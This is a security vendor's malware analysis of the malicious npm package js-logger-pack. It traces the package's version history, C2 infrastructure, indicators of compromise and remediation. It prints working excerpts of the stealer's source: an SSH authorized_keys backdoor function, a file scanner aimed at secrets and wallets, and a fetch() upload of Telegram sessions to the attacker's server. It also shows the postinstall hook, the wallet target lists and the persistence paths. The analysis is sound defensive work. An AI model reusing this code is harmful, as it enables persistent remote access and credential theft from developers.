Malicious npm Package js-logger-pack Ships a Multi-Platform WebSocket Stealer
Table of Contents
TL;DR
js-logger-pack is a fake npm logger that the attacker developed openly on the registry over 23 versions across two weeks (2026-04-01 to 2026-04-15). Version 1.1.20, published hours after initial detection, is a re-obfuscation of the same payload: new hash, same C2, same capabilities. Early versions were harmless probes; version 1.1.5 introduced the first weaponized payload with unobfuscated TypeScript source that accidentally leaked the attacker’s SSH RSA public key (bink@DESKTOP-N8JGD6T) and their original C2 domain (api-sub.jrodacooker[.]dev). Subsequent versions replaced the readable source with a 885 KB custom base64 bytecode VM and swapped the domain for a raw Hetzner IP. The payload is a long-running WebSocket agent that: installs the attacker’s RSA key into ~/.ssh/authorized_keys on Linux; exfiltrates Telegram Desktop tdata sessions; drains credentials from 27 crypto wallets and Chromium-family browsers; steals .npmrc, cloud provider tokens, and shell history; and runs a native keylogger on Windows, macOS, and Linux with autostart persistence on all three.
Impact:
- SSH backdoor on Linux: attacker’s RSA public key written to
~/.ssh/authorized_keys, granting permanent shell access. - Full Telegram Desktop account takeover via
tdatafolder exfiltration compressed and uploaded to attacker-controlled Cloudflare R2 storage. - Crypto wallet drain: 27 wallet apps and browser extensions enumerated by name (phantom, metamask, rabby, keplr, solflare, backpack, coinbase, trust, exodus, tronlink, okx, zerion, rainbow, unisat, petra, ronin, nami, ledger, trezor, electrum, atomic, braavos, argent, leap, hashpack, sui, xdefi).
- Developer credential theft:
.npmrc_authToken,github_token,npm_token, AWS sigv4 keys, plusOPENAI,ANTHROPIC, and other env-var tokens exfiltrated from the project’s.envfile at install time. - Filesystem scan for wallet-named JSON files,
.envfiles, and keyword-matched Office documents sent to C2. - Live keylogger on all three OSes streamed via WebSocket.
- Persistence across reboots: Windows Scheduled Tasks, macOS LaunchAgents plist, Linux systemd user unit and XDG autostart.
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | js-logger-pack (npm) |
| Malicious versions | 0.0.1 through 1.1.20 (23 releases, 2026-04-01 to 2026-04-15) |
| Total downloads | 3,726 (April 1-13, 2026; zero prior to campaign) |
| Maintainer | jpeek868 <[email protected]> (single package on account) |
| Declared author | toskypi (mismatches publishing account) |
| C2 domain (v1.1.5-1.1.6) | hxxps://api-sub.jrodacooker[.]dev |
| C2 IP (v1.1.7+) | 195[.]201[.]194[.]107:8010 (ws:// and http://), Hetzner Online GmbH, DE, AS24940 |
| C2 status (2026-04-15) | LIVE: /health responds {"ok":true}, panel accepting connections |
| Secondary hostname on C2 IP | copilot-ai.whisdev[.]org (Shodan, DNS now NXDOMAIN; suggests additional operations) |
| C2 backend | Express.js (X-Powered-By: Express); victim data keyed as user_{username}_{operatingSystem} (leaked in /api/validate/system-info response body) |
| DNS resolution | api-sub.jrodacooker[.]dev → 195[.]201[.]194[.]107 (subdomain DNS since removed) |
| Attacker SSH public key | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ... bink@DESKTOP-N8JGD6T (full key in v1.1.5 logger.ts) |
| Attacker hostname | bink@DESKTOP-N8JGD6T (Windows hostname embedded in SSH key comment) |
| Exfil paths | /api/validate/files, /api/validate/project-env, /api/validate/env-vars, /api/validate/ps-history, /api/validate/wallets, /api/validate/system-info, /api/validate/tdata/upload, /api/validate/r2-upload-complete, /api/validate/keyboard-events |
| SSH authorized_keys target | ~/.ssh/authorized_keys (Linux, created with mode 0600 if missing) |
SHA-256 (js-logger-pack-1.1.19.tgz) | 571533a643e67c38087f4da8cce0d3dc14670a52403717e4943433d392860a7f |
SHA-256 (print.js v1.1.19) | 585c5ab1fea06bed4956e34ffd6d6b576122addd34d252b163ae0801098e9eaf |
SHA-256 (js-logger-pack-1.1.20.tgz) | 9f0a7174f9537bdbf63fe2329cea9a14198076180390af9f43a0e5b5c7c46912 |
SHA-256 (print.js v1.1.20) | e35801137cd09fa02aa996145d18ec68d67d71db9810f2608a6285ee1c08b054 |
Analysis
Package Overview and Origin
js-logger-pack presents a convincing cover. The README describes a zero-dependency console logger with ISO timestamps and emoji level icons. The published index.ts is a real, working Logger class and dist/index.js is its transpiled output. Nothing in the TypeScript source touches the network or the filesystem: the logger exists as bait for reviewers and automated scanners.
One detail dates the operation: the 0.0.1 README references import { logger } from 'pretty-changelog-logger', the original name the author had for this utility before registering the js-logger-pack slug. That copy-paste residue is the only link to what the package was before the attacker weaponized it.
The repository and homepage fields in package.json are both null. The declared author field reads toskypi, but the npm registry lists the publishing maintainer as jpeek868 <[email protected]>. Searching npm for other packages by either name returns nothing; this is a purpose-built throwaway account. All 22 versions share the same gitHead hash (b0a0c8779961bcce1851d35125a7b48fc6ec7d5c) — every publish came from the same local git clone. No GitHub account exists for jpeek868 or toskypi. The package accumulated 3,726 downloads between April 1 and 13, with spikes on each day a new malicious version was released.
Version Evolution: From Probe to Weapon
The registry timestamps show iterative development conducted live on npm:
| Version | Date (UTC) | Size | postinstall | Notable change |
|---|---|---|---|---|
0.0.1 | 2026-04-01 06:17 | 1.6 KB | ts-node index.js (errors harmlessly) | Initial probe; README references old package name |
1.0.0 | 2026-04-01 06:29 | 1.6 KB | ts-node index.js | No change |
1.1.0 | 2026-04-01 07:01 | 29 KB | ts-node index.ts | Compiled dist/index.js added |
1.1.2 | 2026-04-01 07:05 | 29 KB | ts-node dist/index.js | postinstall target adjusted |
1.1.4 | 2026-04-02 11:32 | 29 KB | ts-node dist/index.js | C2 deps added: ws, zod, pino, esbuild; postinstall still harmless |
1.1.5 | 2026-04-02 15:53 | 601 KB | node print.js | First weaponized build. print.js (601 KB) and unobfuscated logger.ts (19 KB, full source) appear |
1.1.6 | 2026-04-02 17:51 | 730 KB | node print.js | print.js grows 21%; logger.ts still included (source still leaked) |
1.1.7 | 2026-04-02 17:59 | 756 KB | node print.js | logger.ts removed; full obfuscation in print.js |
1.1.8 | 2026-04-07 00:06 | 742 KB | node print.js | Minor size change |
1.1.9 | 2026-04-07 07:22 | 769 KB | node print.js | logger.ts reappears (identical 19 KB file); build pipeline inconsistency |
1.1.10 | 2026-04-07 09:04 | 808 KB | node print.js | logger.ts permanently removed; payload growing |
1.1.14 | 2026-04-08 06:59 | 786 KB | node print.js | C2 domain replaced with raw IP in VM |
1.1.17 | 2026-04-13 20:44 | 831 KB | node print.js | Final feature additions |
1.1.19 | 2026-04-14 19:27 | 893 KB | node print.js | Last feature version |
1.1.20 | 2026-04-15 03:09 | 865 KB | node print.js | Re-obfuscation only: identical C2, endpoints, and capabilities; new hash only |
The print.js payload grew from 601 KB to 893 KB over 12 days of active feature development. Version 1.1.20, published hours after this package was first flagged, is a re-obfuscation of v1.1.19: every URL, API path, wallet name, and OS-native code string is identical; only the internal random identifiers (variable names generated by the obfuscator) differ. The resulting file has a different SHA-256 but is the same payload. This is a signature-evasion pattern: re-run the bundler with a new random seed to defeat hash-based detections without changing any functionality. The logger.ts source file flickered in and out of the package across three versions, which is consistent with the author forgetting to exclude it from their build manifest and later correcting the mistake.
Execution Triggers
In later versions (v1.1.7+), the only trigger is the postinstall hook:
// package/package.json (v1.1.19)"scripts": { "build": "tsc", "prepublishOnly": "npm run build", "start": "ts-node index.ts", "postinstall": "node print.js"}print.js is a standalone esbuild bundle (the esbuild dep in package.json confirms this): it packages the malicious source together with its C2 dependencies (ws, zod, etc.) into a single 885 KB self-contained file that node can run without any additional installs. The bundle fires once at install time.
In v1.1.5 and v1.1.6, however, the package carried a second, independent trigger. dist/index.js (the file users require()) begins with:
// package/dist/index.js (v1.1.5)require('./logger');And index.ts mirrors this:
// package/index.ts (v1.1.5)import './logger';logger.ts runs its malicious code as module-level side effects (the _ssi, _spe, and _sejf calls at the bottom of the file execute immediately when the module is loaded). This means that in v1.1.5 and v1.1.6 any application that did require('js-logger-pack') or import 'js-logger-pack' triggered the stealer at runtime, not only at install time. The attacker removed logger.ts and this second vector from v1.1.7 onward, consolidating on the postinstall hook.
The Unobfuscated Source Leak (v1.1.5 and v1.1.6)
Versions 1.1.5 and v1.1.6 shipped logger.ts alongside print.js. The two files implement the same malicious capabilities: logger.ts is the readable TypeScript source; print.js is the esbuild-bundled, obfuscated standalone executable built from the same (or very similar) source project and its dependencies. The 534-line logger.ts gives a complete, readable description of every capability the larger print.js bundle conceals.
The file opens with two constants that are the most important attribution artifacts in the entire campaign:
// package/logger.ts (v1.1.5)const _pk = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoWL6cdPRGfsMFi1ggFUOP+IhhypmrzNe555fKLTvdI09y+cvUjrtpPfe5TkChr/IbIQIZeGefpAtcqiw6BDfJ+d+gflMEu6uGbCecikAtf794apEkDFpyzYpqrPmHBFhLdBtbXMx3bNfexKR8wnJAYTe5of+TvZ97h9QY8d9zHP31KddDnw3MaXYVZiwr0xBsUEk2jti5C4MsN/uUtUxrmcO5jfoThj/GLDOppQg7IK5QiHvOr89nTO9tFqADLT7gAn... bink@DESKTOP-N8JGD6T`;const _srv = 'https://api-sub.jrodacooker.dev';const _tmax = 500 * 1024 * 1024;_pk is the attacker’s RSA public key. The comment field bink@DESKTOP-N8JGD6T is the username and hostname of the machine the attacker used to generate the key. _srv is the C2 server at the time of first deployment. A DNS lookup today confirms that api-sub.jrodacooker[.]dev resolves to 195.201.194.107, the same Hetzner IP embedded in the later obfuscated versions. The attacker switched from domain to raw IP somewhere around v1.1.7, likely after the domain was flagged or to reduce external DNS dependencies.
SSH Backdoor (Linux)
The first capability that executes on Linux machines is an SSH backdoor, called before any file scanning or credential exfil:
// package/logger.ts (v1.1.5)export const _ark = async (_key: string): Promise<boolean> => { try { const _hd = os.homedir(); const _sd = path.join(_hd, '.ssh'); const _akp = path.join(_sd, 'authorized_keys'); if (!fs.existsSync(_sd)) { fs.mkdirSync(_sd, { recursive: true }); } fs.chmodSync(_sd, 0o700); let _ek = ''; if (fs.existsSync(_akp)) { _ek = fs.readFileSync(_akp, 'utf8'); } const _kp = _key.trim().split(' '); const _kd = _kp.length >= 2 ? _kp[0] + ' ' + _kp[1] : _key.trim(); if (_ek.includes(_kd)) { return false; // already installed } const _nc = _ek ? (_ek.endsWith('\n') ? _ek : _ek + '\n') + _key.trim() + '\n' : _key.trim() + '\n'; fs.writeFileSync(_akp, _nc, 'utf8'); fs.chmodSync(_akp, 0o600); return true; } catch (_) { return false; }};The function is called as _ark(_pk) from the Linux branch of the main file-scanning entry point (_sejf), before the network exfil begins. It creates ~/.ssh/ with mode 0700 if it does not exist, checks whether the key is already present, and appends it with the correct 0600 permissions. The attacker can then SSH into any Linux machine that installed any version of this package, as long as the SSH daemon is running and ~/.ssh/authorized_keys is the configured auth method.
This capability was present from the first weaponized build (v1.1.5) and persists in the obfuscated payload, confirmed by registerLinuxSystemd and persistence strings in later versions.
File System Scanner
The plaintext source also reveals a careful filesystem scanner (_sfr) that walks the home directory (Linux), C:\ through J:\ (Windows), or /Users/ (macOS) up to 10 levels deep, collecting three types of files:
// package/logger.ts (v1.1.5) — target classificationif (_fn === '.env' || _fn.endsWith('.env')) { _res.push({ path: _fp, type: 'env' });} else if (_fn.endsWith('.json') && _iwkj(_fn)) { _res.push({ path: _fp, type: 'json' });} else if (_iwrd(_fn)) { _res.push({ path: _fp, type: 'doc' });}The JSON filter (_iwkj) has an allow-list of 40+ common config filenames (package.json, tsconfig.json, vercel.json, etc.) that are excluded, and a keyword list that includes any JSON whose filename contains: key, wallet, password, credential, sol, eth, tron, bitcoin, btc, metamask, phantom, keystore, privatekey, mnemonic, seed, trezor, ledger, token, recovery, and others. JSON files with more than 100 lines are skipped entirely; qualifying files are read in full and sent to /api/validate/files. Office documents (.doc, .docx, .xls, .xlsx, .txt) are included if their filename matches the same keyword list, sent as base64.
Excluded directories include node_modules, build, dist, coverage, and several others, limiting the scan to source trees and user directories. The scanner skips symlinks.
The Bytecode VM (v1.1.7+)
From v1.1.7 onward, the entire payload moved into print.js, a custom base64 bytecode VM. The file opens with 28 repeated node:* imports aliased to random vm* identifiers, followed by thousands of base64-encoded instruction blobs:
// package/print.js (header, v1.1.19)import{createRequire as vmB}from'module'import vmD from'node:os'import{spawn}from'child_process'import{execFileSync}from'node:child_process'import{spawn as vmq,spawnSync}from'node:child_process'// ...const vmE_603276=(function(){let m=[ 'AQEIAQAEAAQIDnJlcXVpcmUIEnVuZGVmaW5lZBYEAAAEAQAABAAABAAEAQAApgPcAQBWaKYDZBAQ...', 'AQAIAQACAAwIDnJlcXVpcmUIEnVuZGVmaW5lZAgKUHJveHkEAAgGZ2V0BAIupgPcAQBWaKYDZOAB...', // thousands more blobsEach blob is a base64-encoded instruction stream for a hand-rolled stack machine defined below the constant array. The opcodes embed string literals (property names, identifiers, API paths) that are invisible to a plain grep of the source. Decoding the constant pool statically, without executing the file, recovers all the semantic strings used in the analysis below.
C2 Protocol
The agent is a persistent WebSocket client. Decoded strings show the full protocol:
ws://195.201.194.107:8010 (primary)http://195.201.194.107:8010 (bulk exfil fallback)AgentHelloSchema / AgentHeartbeatSchemaController acknowledged hello / hello_ackHEARTBEAT_MS / heartbeatTimer / scheduleReconnectThe implant connects to 195[.]201[.]194[.]107:8010, sends a Zod-validated AgentHello, waits for hello_ack, then maintains a heartbeat. The controller dispatches tasks (keylogging, wallet scan, tdata upload, file scan) over the WebSocket channel. Bulk data goes over HTTP on the same host via the /api/validate/* endpoints rather than the WebSocket frame size limit.
Telegram Session Hijacking
The _stia / sendTdataIfAvailable function chain runs on macOS and Windows only (the function returns immediately on Linux). It locates the Telegram Desktop tdata folder, archives it into a gzip stream with a custom header format (4-byte path length, path bytes, 4-byte content length, content bytes), and uploads it:
// package/logger.ts (v1.1.5)export const _stp = async (_gz: string, _os: string, _ip: string, _un: string): Promise<void> => { const _b = await fs.promises.readFile(_gz); const _r = await fetch(`${_srv}/api/validate/tdata/upload`, { method: 'POST', headers: { 'Content-Type': 'application/gzip', 'X-Client-OS': _os, 'X-Client-IP': _ip, 'X-Client-User': _un, }, body: _b, }); if (!_r.ok) throw new Error(`tdata upload failed: ${_r.status}`);};A pre-check (/api/validate/tdata/check) prevents re-upload if the server already has a session for this IP+username pair. The 500 MB cap (_tmax) prevents stalling on very large Telegram caches. Later obfuscated versions add an S3-compatible multipart path (/api/validate/r2-upload-complete) referencing Cloudflare R2, routing bulk loot outside the WebSocket channel.
Wallet and Browser Credential Theft
The implant carries an explicit wallet target list embedded in both the Windows and macOS native keylogger components. On Windows it appears as a C# static array inside a PowerShell Add-Type block (class KP); on macOS it appears as a Swift let constant:
// Decoded from print.js bytecode — Windows C# block (PowerShell Add-Type, class KP)private static readonly string[] _wk = { "phantom","metamask","rabby","keplr","solflare","backpack", "coinbase wallet","trust wallet","exodus","tronlink","okx wallet", "zerion","rainbow","unisat","petra","ronin","nami","ledger","trezor", "electrum","atomic","braavos","argent","leap wallet","hashpack", "sui wallet","xdefi"};// Decoded from print.js bytecode — macOS Swift blocklet walletKeywords = ["phantom","metamask","rabby","keplr","solflare","backpack", "coinbase wallet","trust wallet","exodus","tronlink","okx wallet","zerion", "rainbow","unisat","petra","ronin","nami","ledger","trezor","electrum", "atomic","braavos","argent","leap wallet","hashpack","sui wallet","xdefi"]On Windows, active-window title inspection uses GetForegroundWindow() + GetWindowText() to match the foreground window title against _wk; GetAsyncKeyState is the polling mechanism for keystroke capture, not the window detection. On macOS the Swift code uses the Accessibility API (kAXTitleAttribute via AXUIElement) to read the active window title and kAXSubroleAttribute to detect AXSecureTextField (password input); CGEventTap captures the keystrokes. When a wallet window or password field is detected on either platform, the implant enables targeted keylogging of password and seed-phrase prompts. Browser credential targets include Chrome, Chromium, Brave, Edge, Opera, and Opera GX (Login Data, Cookies, Local State).
Cross-Platform Keylogger
Keystroke capture uses OS-native APIs on each platform:
Windows: SetWindowsHookEx(13, …) // WH_KEYBOARD_LL low-level hook (class KH) GetAsyncKeyState(vk) // polling fallback if hook is blocked (class KP)macOS: CGEventTap (keyDown callback) // Swift, compiled and run via swiftc subprocessLinux: /dev/input/event* via evdev // direct device read, no X11 dependencyBoth Windows variants are PowerShell Add-Type blocks: the Node.js harness writes the C# source string to PowerShell’s stdin, which compiles and executes it in-process using the .NET runtime already present on the machine. This avoids dropping a compiled binary to disk. Events stream to /api/validate/keyboard-events over the WebSocket connection. The Windows polling fallback handles environments where EDR software blocks WH_KEYBOARD_LL. The Linux evdev reader reads raw kernel input events directly from /dev/input/event*, bypassing X11 and Wayland entirely so it captures keystrokes in terminal-only sessions.
Persistence
All three OSes get autostart entries so the agent survives reboots:
Windows: schtasks.exe /Create …macOS: ~/Library/LaunchAgents/<name>.plistLinux: ~/.config/systemd/user/<name>.service (Environment=HEARTBEAT_MS=…) ~/.config/autostart/<name>.desktop (X-GNOME-Autostart-enabled=true)The HEARTBEAT_MS environment variable is baked into the systemd unit, so the re-launched agent picks up the same polling interval as the original postinstall process. The XDG autostart entry covers desktop sessions that do not use systemd user units (e.g., some XFCE and LXDE setups).
Attribution
The leaked source, live C2 probe, and infrastructure signals provide the following attribution picture:
- Attacker hostname:
bink@DESKTOP-N8JGD6T. TheDESKTOP-N8JGD6Tsuffix is the default format Windows assigns to self-built machines. Thebinkusername is the operating handle used on the development machine. No prior threat intelligence ties this hostname to any known actor. - C2 domain:
api-sub.jrodacooker[.]dev. The parent domain returns NXDOMAIN; the subdomain DNS record has since been removed, but the Hetzner IP (195[.]201[.]194[.]107) remains active.jrodacooker[.]devappears purpose-registered for this operation with no prior public presence. - C2 still live: As of April 15 2026 (this article’s publication date), the panel at
195[.]201[.]194[.]107:8010is operational. A probe to/api/validate/system-inforeturned{"success":true,"collection":"user_researcher_linux"}, confirming victim data is keyed asuser_{username}_{operatingSystem}and has not been cleaned up. The response headerX-Powered-By: Expressidentifies the backend as Node.js/Express. - Secondary hostname: Shodan lists
copilot-ai.whisdev[.]orgas a hostname on the same IP. The subdomain DNS record is now NXDOMAIN. This suggests the server may be (or have been) used for an additional operation beyondjs-logger-pack, but we found no confirmed link to thejpeek868orbinkidentity. - Infrastructure: Single Hetzner server (Hetzner Online GmbH, DE, AS24940) running a custom WebSocket controller on
:8010and Cloudflare R2 for bulk storage. This is purpose-built tooling for a small-scale individual operator, not shared SaaS C2 infrastructure. - Operational security failures: Shipping unobfuscated source in two consecutive public npm releases, reintroducing it in v1.1.9 after removing it in v1.1.7, and hardcoding the development machine’s SSH key into the payload point to a solo operator working fast, not a disciplined team.
- Payload fingerprint: The multi-language payload (Node.js harness, C# compiled at runtime via PowerShell
Add-Typefor Windows hooks, Swift source compiled on the fly viaswiftcfor macOS event taps, Linux evdev via direct/dev/inputreads) and the 27-wallet target list match patterns seen in commodity stealer kits. Avoiding pre-compiled binaries in favor of just-in-time compilation reduces disk footprint and evades signature-based AV scanning at install time. Without controlled telemetry, we do not attribute to a named family.
Conclusion
js-logger-pack is a full-featured, multi-platform infostealer developed and deployed live on npm over two weeks. It reached 3,726 downloads before being flagged. The C2 at 195[.]201[.]194[.]107:8010 is still online as of April 15 2026. The attacker has not dismantled infrastructure; exfiltrated data remains accessible to them. Anyone who installed any version from 0.0.1 through 1.1.19 on a Linux machine should assume the attacker’s RSA key was written to ~/.ssh/authorized_keys and that the machine has been accessible remotely ever since. On all platforms: rotate npm, GitHub, and cloud provider tokens; audit Telegram active sessions (Settings → Devices → terminate all others); move crypto funds off any wallet whose credentials touched that machine; check for and remove the OS-appropriate autostart entry; reimage if the machine handled sensitive credentials.
The SafeDep community analysis flagged this package as malicious. Scanning install-time scripts with vet or equivalent before running npm install in CI would have blocked the payload before it fired.
- vet
- malware
- npm
- supply-chain
- stealer
- crypto
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

PMG dependency cooldown: wait on fresh npm versions
Package Manager Guard (PMG) blocks malicious installs and now supports dependency cooldown, a configurable window that hides brand-new npm versions during resolution so installs prefer older,...

Malicious dom-utils-lite npm SSH Backdoor via Supabase
dom-utils-lite and centralogger on npm inject attacker SSH keys into ~/.ssh/authorized_keys and exfiltrate server metadata to Supabase-hosted C2 infrastructure, granting persistent remote access.

forge-jsx npm Package: Purpose-Built Multi-Platform RAT
forge-jsx poses as an Autodesk Forge SDK on npm. On install it deploys a system-wide keylogger, recursive .env file scanner, shell history exfiltrator, and a WebSocket-based remote filesystem...

Malicious npm Dependency Confusion Campaign Targets Genoma UI and Others
A dependency confusion campaign by npm user victim59 targets at least three organizations through scoped packages @genoma-ui/components, @needl-ai/common, and rrweb-v1. The packages use install hooks...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
